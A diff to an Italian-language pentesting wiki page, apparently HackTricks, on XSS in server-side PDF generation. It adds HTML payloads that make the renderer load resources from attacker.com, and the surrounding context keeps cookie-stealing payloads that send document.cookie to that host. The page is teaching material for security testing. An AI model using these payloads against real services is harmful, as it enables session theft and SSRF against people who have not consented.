@ -32,6 +32,22 @@ Inoltre, nota che in una regolare sfruttamento sarai **in grado di vedere/scaric
 <img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
 <script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
 <link rel=attachment href="http://attacker.com">
+
+<!-- Using base HTML tag -->
+<base href="http://attacker.com" />
+
+<!-- Loading external stylesheet -->
+<link rel="stylesheet" src="http://attacker.com" />
+
+<!-- Meta-tag to auto-refresh page -->
+<meta http-equiv="refresh" content="0; url=http://attacker.com/" />
+
+<!-- Loading external components -->
+<input type="image" src="http://attacker.com" />
+<video src="http://attacker.com" />
+<audio src="http://attacker.com" />
+<audio><source src="http://attacker.com"/></audio>
+<svg src="http://attacker.com" />
 ```
 ### SVG

@ -147,7 +163,7 @@ checkPort(i);
 ```
 ### [SSRF](../ssrf-server-side-request-forgery/index.html)

-Questa vulnerabilità può essere facilmente trasformata in un SSRF (poiché puoi far caricare allo script risorse esterne). Quindi prova semplicemente a sfruttarla (leggi alcuni metadati?).
+Questa vulnerabilità può essere facilmente trasformata in un SSRF (poiché puoi far caricare allo script risorse esterne). Quindi prova a sfruttarla (leggi alcuni metadati?).

 ### Attachments: PD4ML

@ -169,5 +185,6 @@ icon="Paperclip" />
 - [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/)
 - [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html)
 - [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c)
+- [https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators](https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators)

 {{#include ../../banners/hacktricks-training.md}}